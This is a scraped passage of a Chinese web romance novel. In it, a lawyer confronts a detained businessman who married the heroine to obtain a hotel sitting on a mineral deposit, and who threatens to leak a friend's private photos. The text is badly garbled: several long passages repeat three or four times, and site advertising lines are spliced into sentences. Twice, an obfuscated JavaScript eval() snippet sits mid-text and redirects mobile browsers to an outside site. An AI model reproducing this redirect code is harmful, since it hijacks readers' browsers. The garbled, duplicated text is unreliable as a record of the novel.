丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 傅东擎没想到时隔许久,这段往事竟然也会被翻出来。 他脸色青一阵白一阵的变幻了好一会儿,才底气不足的挤出一句:“出国研学是我早就制定好的计划,我不想改不行么?” “呵。”丁予期毫不客气的冷笑一声,戳穿道,“我认识你的时间也不算短了,虽然早知道你是个擅长粉饰自己所作所为的人,但听到你这样颠倒黑白,也还是得承认你的本事。” 傅东擎听他不像是在说好话,蹙眉道:“什么本事?” 丁予期扯了下唇角,讥讽道:“当然是厚脸皮的本事啊。我曾经也是个律师,如果没有确实的证据,我不会这样直白的指控你。如果你有需要的话,我倒是可以提供几张你跟师妹在泳池旁边的合照给你。” 他打开手中的文件袋,将夹子里的照片摆了出来。 傅东擎低头扫了一眼,马上就屏息凝神不敢说话了。 他抬手想去抢,但丁予期先一步抽走照片道:“天底下没有不透风的墙,傅总,这些照片我已经保存了将近十年了,当初知道这件事的时候,我就应该下手斩断你跟宋凝的孽缘。如果不是宋凝这个傻姑娘还傻乎乎的在等你回来,你以为我会等到现在?!” 丁予期这番话像是往他脸上扇了个无形的耳光,让他呼吸骤然变得急促起来。 傅东擎厉声喝道:“你以为这些照片能改变的了任何现实么?” 这话说的就像是他只在这件事上对不起宋凝,并且已经想出解决问题的办法了似的。 丁予期手中的筹码远比傅东擎所以为的要多,不慌不忙的又抛出一句:“是不能,因为不管宋凝知不知道这些往事,她都已经不会改变主意了,她已经把你从心里彻底清除出去了。” 傅东擎放在腿上的手骤然间握紧,微微颤抖着,手背上的青筋都绷了起来。 “……一开始我确实……但是后来我的确爱上她了,我也跟她结婚了。” “但你有告诉过她,你选择跟她结婚的原因么?” 这一次傅东擎总算是冷静下来了,没有再反驳什么。 丁予期没有再亮证据,但仅仅是他的言语也够傅东擎受的了,因为他所知道的远比对方所以为的要多的多。 他特意顿了一下,提醒道:“需要我再跟你说一遍于洪亮犯罪被抓的具体日期么?那之后没多久,李明富就把酒店买了回来,你以为自己又有希望了,就找过去威逼利诱,但是都失败了。” “这是正常的商业行为!”傅东擎一提起这件事就来气,他豁然起身,隔着桌面怒道,“我开出的条件已经够好了,但他一根筋的非得等宋凝回来接手酒店,我只能……” “你只能跟宋凝结婚,以宋凝丈夫的身份,才能拿到酒店的所有权。” “……我说了,我后面是真的喜欢上她了。” 这恐怕是“喜欢”一词被玷污的最狠的时刻了。 丁予期嗤之以鼻的质问到:“喜欢到新婚第二天就迫不及待的带着合同找到李明富,让他签字同意把酒店卖给你么?” 第一百七十二章 大家都是男人 傅东擎不敢直面这个问题,转移话题道:“我出的价格远高于市场价,在这一点上你没资格指摘我,而且李明富坚持说要宋凝本人去谈,并不同意把酒店卖给我。” 这一点,在丁予期委托大哥找到李明富的时候,他就知道了。 李明富是个认死理的人,这一点,跟宋凝的父亲很像。 也是因为这样,他才对宋凝的父亲那么敬重和忠心。 哪怕倾尽自己的所有资金甚至还要跟银行贷款都要买下丽晶酒店,只为了替好兄弟守着这个地方。 傅东擎固然拿着钱去找到了他,还给他看了跟宋凝的结婚证。 但李明富并不傻,既然是夫妻,为什么不带着宋凝一起来谈? 既然瞒着宋凝私下行动,那就一定有问题。 所以不管傅东擎开出多少价码,他都不为所动,坚持要跟宋凝本人见面。 但傅东擎深知,他心里的打算,绝对不能被宋凝知晓。 否则不用说丽晶酒店弄不到手,宋凝也会立刻离他而去。” 丁予期毫不留情的问:“你现在还有要狡辩的地方么?” 傅东擎不肯承认自己是在狡辩,只脸色黑到了能刮下一层锅底灰的地步,冷哼一声道:“你能把这些事查的如此清楚,想必是费了不少功夫,说吧,你到底有什么打算?” 他得知丁予期申请探视,就预料到此人是来者不善了,这时哪怕硬撑住一口气也不肯露怯。 两人的目光直直碰撞在一起,有无形的**味在空气中蔓延开来。 丁予期没有否认傅东擎的猜测,坦言道:“你说的没错,我为了把这些事查清楚,确实是花了不少时间和精力,但功夫不负有心人,我不仅知道你跟宋凝的所有过往,还知道你之所以对酒店那么执着,并不只是为了酒店本身。” “说来也巧,我前阵子刚好对酒店附近的环境做过勘测,并且从专业人士那里得到了一份报告,说那下面有座待开发的钼矿——傅氏从十年前就开始布局的新能源电池产业,应该是万事俱备,只欠东风了吧?” 钼这东西原本就稀有,现在随着新能源产业的日益扩大发展,缺口更是变得越来越大了。 业内的相关从业者都看的出这一点,傅东擎没道理发现不了,如此把两件看似不相关的事情结合在一起,答案呼之欲出——他要的自始至终都只是推倒酒店,然后开发底下的矿。 如果宋凝早知道这一点,估计会立刻离开他。 丽晶酒店是爸爸一辈子的心血,于 听说看这本书的人都是很幸运的,分享后你的运气会更棒 洪亮倒是把酒店弄走了,但是压根不知道值钱的根本就不是酒店,而是酒店下面藏着的矿产。 傅东擎见丁予期连这么隐秘的事都知道,一反常态的沉默起来,是知道再怎么粉饰也没用了。 而丁予期也没有放过他,又抛出一个颇有分量的信息:“就连李明富老婆病重,也是因为你使了手段。” “你既然已经全都知道了,还跑来见我做什么?不应该跑到宋凝面前说我的坏话,然后向她要邀功么?”傅东擎眼底泛起血丝,几乎是从牙缝里挤出了这句话。 过往种种在真相面前变成了一个笑话。 丁予期见傅东擎在证据面前不得不认,并没有大获全胜的快意,而是不失痛惜的说:“如果我向她说这些,只会让她更难过,所以我宁可她不知道。” 相比于自己的胜利,他更在意宋凝的感受和幸福。 傅东擎死死盯紧了丁予期的眼睛,试图从中找出他在幸灾乐祸的痕迹,好扳回一局,质疑他对宋凝的感情,但最终还是失败了。 丁予期那双黑白分明的眼里没有丝毫得意,反而带着能够看透一切的犀利,让被盯着的人不由自主就落了下风。 傅东擎无力的跌坐回椅子上,抬手捂住脸,懊悔不已的承认了他的所作所为。 “是,你说的都没错,我最初接近宋凝的目的就不单纯,如果不是我爸看好新能源的发展,想让我接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211279|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋凝拿到那座矿,我跟她压根就不会有交集,但我敢对天发誓,后来我是真的爱她!” “爱她?如果你真的只爱她一个,为什么又会轻易被林澜动摇了心神?” 傅东擎说:“我也算是见过世面的人,从前交往过的女伴更是数不胜数,什么条件的都有,但她们都不如她。” 丁予期薄唇抿成一线,是对他的态度很不赞同,但却懒怠说什么的模样。 傅东擎感受到被轻视,越发口不择言的想要粉饰自己的动机,一不留神就把一直藏着的心里话给说出了口:“宋凝够漂亮,出身和学历又都不错,她就是最适合成为站在我身边的傅夫人。” 他口口声声说是真心爱上了宋凝,可言语间却不断拿她跟别的女人做比较,就好像她们不是活生生的人,而是等待他挑选的商品。 接下来的话更是恶劣到了极点。 傅东擎惋惜道:“她只有一点不好,那就是不够贞洁,大家都是男人,你应该能懂我的意思吧?我能为了事业委屈自己跟一个不贞洁的女人在一起,但总得从别的地方找补回来。” 他自认为对宋凝已经够好了,要知道做戏骗人也是件麻烦事,他可是为她付出了不少。 丁予期轻蔑的从鼻端哼出一声:“别用你这个例子去**其他男人的想法,正是因为有你这样的人在,男人的道德和忠贞才总会被鄙夷。” 傅东擎固执的沉浸在自己的世界里,他只当丁予期是在吃不到葡萄说葡萄酸,认真道:“林澜没阿凝漂亮,性格也虚荣浅薄,可以说是哪一点都没法比,但就一点好,我是她的第一个男人。” 他对这一点在意到了执着的地步,便理所当然的以为丁琪也一样,当场把林岚的隐私拿出来炫耀道:“我带她去医院验过之后才跟她发生的关系,她的膜还在。” 那份证明让他扬眉吐气,为此高看了林澜一眼。 丁予期的表现变得古怪起来:“我看你想要的根本不是爱人,而是那层膜,既然这样,你不如去医院过日子好了。” 第一百七十三章 自信是优点,请继续保持 “丁予期,你现在冠冕堂皇,可是时间久了,你也会跟我一样,会觉得这辈子一定要拥有一次女人的第一次才算圆满。你爱宋凝,可男人的心……呵,你跟我没有什么区别。 他没打算改变傅东擎的想法,讥讽完这一句就挥了挥手,不以为意的说:“我跟你当然有区别。算了,现在跟你说这些也没什么意思了。我今天来这一趟也只是有些事需要告诉你—— “我已经联络过李明富了,他同意将酒店转让给我,手续已经办完,丽晶酒店现在已经是卫斯理旗下的酒店了。如果你还能离开这里的话,就不必再去打扰他了,因为他现在也没有任何利用价值了。 丁予期云淡风轻的向他宣布了这个噩耗。 傅东擎又惊又怒,指着丁予期揣测道:“好啊,我就知道你没这么好心!你跑到宋凝面前装这么久的深情,果然也是别有所图吧?既然同样都是为了矿才接近她的,你跟我又能有什么区别? 他恨不能活撕了丁予期,好为自己可怜的道德底线挽回些许尊严,要不是怕在沟通室里闹出事来会影响之后的保释,这时绝对早就直接扑过去掐对方的脖子了。 丁予期不想把时间浪费在这样卑劣的人身上,言简意赅的通知道:“那你就真是想多了,我压根不打算开采酒店底下的矿。丽晶酒店是宋凝从小长大的地方,我不会动。 傅东擎以己度人,压根不信丁予期会为了宋凝做到这一步:“这里就只有我们两个人,阿凝听不到,你还装什么装? 人果然想象不出自己不了解的事物。 丁予期本不想跟傅东擎多费口舌,可眼见他钻了牛角尖,为了不影响后续的工作,还是多说几句,然后亮出文件道:“酒店正在重新装修,等它竣工后,就会物归原主,被交到宋凝手里去。 他说的全都是实话。 傅东擎意识到这一点,险些当场被气疯,他自知在别的方面都不占理,唯有抓住他认为的丁予期的污点开始人身攻击。 “你少在这里装高尚演深情!难道能因为觊觎兄弟之妻的货色,所以在我身边藏这么久的人就会是什么好东西不成?我千算万算都没想到问题竟然会出在自己身上,而这全都是因为你! 他显然是已经破防了,然而丁予期仍旧是满脸的风轻云淡,压根没把被指责的事放在心上,甚至还无比痛快的承认道:“这次是你误会了,我从来都不是好人,我的宗旨只是宋凝。 这时候的不在意的杀伤力可比在意时强多了,而他说完之后更是当着 你的朋友正在书荒,快去帮帮他吧 傅东擎的面,慢条斯理的整理起了自己的东西。 直到傅东擎用阴仄仄的声音拦住他说:“唐婷的照片还在我这里,你确定要走么?” 丁予期果然停住了步子。 傅东擎以为是他的威胁见效了,气定神闲的往椅背上靠去,同时阴恻恻的说:“你别急着得意,只要我手里有唐婷的照片,无论之后提什么条件,阿凝都会答应的,所以一切都还有变数。” 他也知道这样的手段下三滥,不过能扳回一局,让宋凝回到他身边的话,再下三滥也没关系,反正他在意的自始至终都是结果。 丁予期回过头去看了他一眼,目光和语气都平淡无比的问:“说完了么?” 傅东擎本以为这话至少能激得他破防,见他跟没事人一样,后槽牙都快咬碎了,当即恐吓道:“当然没有!我会再去找阿凝的,她心软,不会眼睁睁看着我坐牢的。” 丁予期连眉毛都没再往上抬一下,而是一边点头一边评价:“你倒是挺有自信的,这是个优点,请继续保持。” 这话怎么听都像是在阴阳怪气。 傅东擎气的要死,却又不能扑过去跟他扭打在一起,唯有在嘴皮子上继续硬气:“你别不信,我是真的喜欢宋凝,这次只是我的运气不好罢了。等我出去了,我会把她藏的更深,跟她结婚生子,让你永远找不到!” 丁予期一脸平淡的在他的话音中往外走,直到他提起宋凝的名字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211280|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才头也不回的说:“那就等你能出来再说吧。” 他把这句话和傅东擎一起抛在了沟通室里。 傅东擎受了如此轻视,自然是怒不可遏,他忘了自己还在被拘留,站起身来就要冲出去拦丁予期:“站住!你什么意思?给我把话说清楚——” 话音被看守他的警察和关上的门一起拦在了屋里。 丁予期看起来丝毫不受影响,单就是继续往外走,等见到刚刚帮他办手续的警察,还不忘同对方打个招呼:“多谢,我先走了。” 律师是一项很需要建设人脉的工作,他从业时间不算短,为此结识了许多相关从业者。 这里的警察跟丁予期更是早就混熟了,甚至多少知道一点他对宋凝的执着,这时便随口问了句:“丁先生,好事将近了吧?打算什么时候办婚礼?到时候我一定随礼。” 他们领证的事目前还是个尚未公开的秘密,更别提办仪式的事了。 丁予期笑了一下,半开玩笑的表示:“好啊,等以后到了那天,我一定给大伙儿发请柬。” 这确实是值得分享的喜事。 …… 晚上八点钟,天色彻底黑透了,倒是卫斯理酒店的招牌和门前广场上的喷泉还亮着。 丁予期迎着暖色的光晕回到套房,虽然回的是酒店,却因为此时等在房间里的人产生了回家的错觉,让他连推门的动作都下意识的变轻了。 宋凝正坐在客厅里研读不久前买来的跟酒店管理学相关的书籍,听见声音知道是丁予期回来了,连忙抬头问:“你是不是去找傅东擎了?” 她手里还拿着做笔记用的笔,神情十分认真。 丁予期临走之前只对服务生交代过他要离开一会儿的事,并没有提及具体行程,见她已经猜到了,不失愕然的问:“你是怎么知道的?” 宋凝忽闪着眼睫道:“我猜的,你走的那么突然,大概率是有非去处理不可的急事,再结合你昨天对我说的会把唐婷的事处理好,应该只有这一个答案吧?” 第一百七十四章 猪肉没吃过,猪跑也没看过 话是问句不假,可她分明在开口之前已经有了答案。 丁予期轻轻叹了口气:“果然还是瞒不过你的眼睛,我确实是因为探视的时间不能改,所以才非离开不可的。你的朋友们难得聚齐,今天应该带她们好好在S市玩玩的。” “这没什么的,她们并不是斤斤计较的人,况且你的见面礼实在是很惊人,祝如星把你盛赞了一番,唐婷也很感谢你提供的礼物。” 宋凝还不至于把这点小事放在心上,先向他转达了闺蜜们的谢意。 唐婷身为女明星,算是她们之中最见过世面的了,但丁予期出手如此大方,也还是把她给吓了一跳。 丁予期微微一笑:“她们喜欢就好。” 他想要追求宋凝,搞定她身边的闺蜜们就是必不可少的一环,否则她们要是对他严防死守,他别说是转正上位了,以后怕是想接近她都难。 “谢谢你。”宋凝相比于所谓的见面礼和聚餐,其实还有更在意的事,话锋一转问,“傅东擎怎么说?他松口了没有?唐婷好不容易才走出来,绝对不能毁在这种事情上。” 她跟唐婷这么多年朋友,她是亲眼看着唐婷从绝望里一步步挣脱出来的。 她深爱傅东擎的时候都仍旧保守秘密,这件事几乎成了她的一个心病。 丁予期知道宋凝在乎朋友的感受,连忙坐在她身边安慰道:“他还没有松口,但是你放心,我一定会想到办法的,他短时间内不会被放出来,在此期间你不必担心他会伤害到唐婷。” 宋凝叹了口气,垂眸道:“我怎么可能不担心?那些照片就是定时**。” 丁予期在她看不到的地方露出心疼的神色,再次开解道:“他认为那是手中最有用的筹码,特意向我炫耀过,所以至少在想出别的能够威胁到你的办法之前,他绝对不会率先引爆这个**。” “……你的意思是,他还要利用那些照片继续威胁我?” “你想想看,现在我们已经知道唐婷的照片在他手里,那么只要照片被公开,事情就一定是他做的。只是那些照片一旦公开,唐婷会被毁,但同时他也会失去最重要的筹码,从此再也没有任何东西能要挟你了。” **只有在**之前具有威胁力,一旦傅东擎将此事引爆,他就会彻底失去接近宋凝的可能。 而且还有丁予期在,他在律政界的人脉在,甚至傅东擎大概率会被送进局子。 宋凝明白这个道理,但事关唐婷,她还是忍不住担心,甚至连书都看不下去了。 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 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丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 宋凝还需要时间。 他愿意等。 这天晚上,丁予期做好了在外面过夜的准备。 他去找了萝卜和老姚。 三个人久违的凑在一起把酒言欢。 丁予期轻轻摇晃着酒杯里的冰块,主动问起了大拿的情况,得知对方恢复的还算不错,沉声道:“我永远欠他一个人情,以后无论如何都会还。” 都说大恩不言谢,但大拿可是帮他救回了宋凝,这比救回他的命还来得更有意义。 萝卜抬手拍了下丁予期的肩膀:“不是说好了放松一下么?就别提这些事了,更何况大拿不是已经说过了么?大家都是兄弟,交情跟过命也差不多了,你再说这些话,反倒显得跟他生分。” “是啊,医生说他过一阵就能出院回去做复健了,等他好了,你千万记得带几瓶好酒上门,不然我们都不让你进门。”老姚也嘻嘻哈哈的说了几句。 氛围这才被带回到了原本的轨迹上。 老姚趁热打铁的又打趣道:“趁着今晚难得有空,你就跟我们透句实在话吧,是不是嫂子不让你上床,所以才跑出来了?” 萝卜也跟着凑热闹:“我看嫂子挺温柔的,不是这样的人,是不是你是不是欺负嫂子了?” 他们俩都两眼放光的看着丁予期,试图打听到八卦。 丁予期挑眉:“我欺负她?你们以为我敢吗?” 老姚嗤嗤地笑:“我说的不是那种欺负,是另一种欺负。” 萝卜也秒懂了,嘿嘿嘿地贼笑:“我说丁儿,兄弟们知道你旱了将近三十年,久旱逢甘霖肯定是很难控制,但嫂子毕竟是个女孩子,你悠着点啊,别给嫂子整出阴影了。” 提起这个丁予期就有些无语。 仰头灌了一杯酒,“换个话题。” 老姚看出来点端倪,轻轻碰了碰丁予期的肩膀,轻声问道:“该不会,你猪肉没吃过,猪跑也没看过吧?” 丁予期没有回答,而是自顾自的把酒杯倒满,豪爽道:“回答你们也不是不行,但至少得等到你们把我喝倒下吧?” 萝卜和大姚都知道他酒量好,纷纷直呼他**。 丁予期又灌了自己一杯:“喝不倒我就闭嘴。” 老姚和萝卜对视了一眼,虽然丁予期没回答,但是逃避就是默认。 他们一边觉得好笑,一边也替自家兄弟惋惜。 好不容易抱得美人归了,可小嫂子是个硬气慢热的,需要小火慢炖,且有的等呢。 老姚一把勾住他的肩膀,安慰道:“来吧,兄弟们陪你喝!” 丁予期正要再给他们两个也满上,放在旁边的手机先响了是起来。 是瑞贝卡打电话过来了。 他立刻眉头一皱,接了起来:“什么事?” 时间这么晚了,瑞贝卡是绝不会为鸡毛蒜皮的小事打扰他的。 瑞贝卡果不其然抛出一个重磅**:“丁总,宋小姐刚刚急匆匆离开了酒店,一个人。” 丁予期跟着忧心不已,可是面上半点不露,只同她就在看书时遇到的几个问题沟通了一番,然后悄悄的把露台上的好大儿们放了进来。 它们三个非常上道,立刻凑到她身边卖乖撒娇。 有了这三个狗子插科打诨,宋凝这才被转移了注意力,轻轻抚摸着狗子们,紧蹙的眉心也渐渐舒展开来。 丁予期温柔地在旁边看了一会儿,确定她的情绪好了一些之后,还是主动退了出去,把房间留给了她一个人。 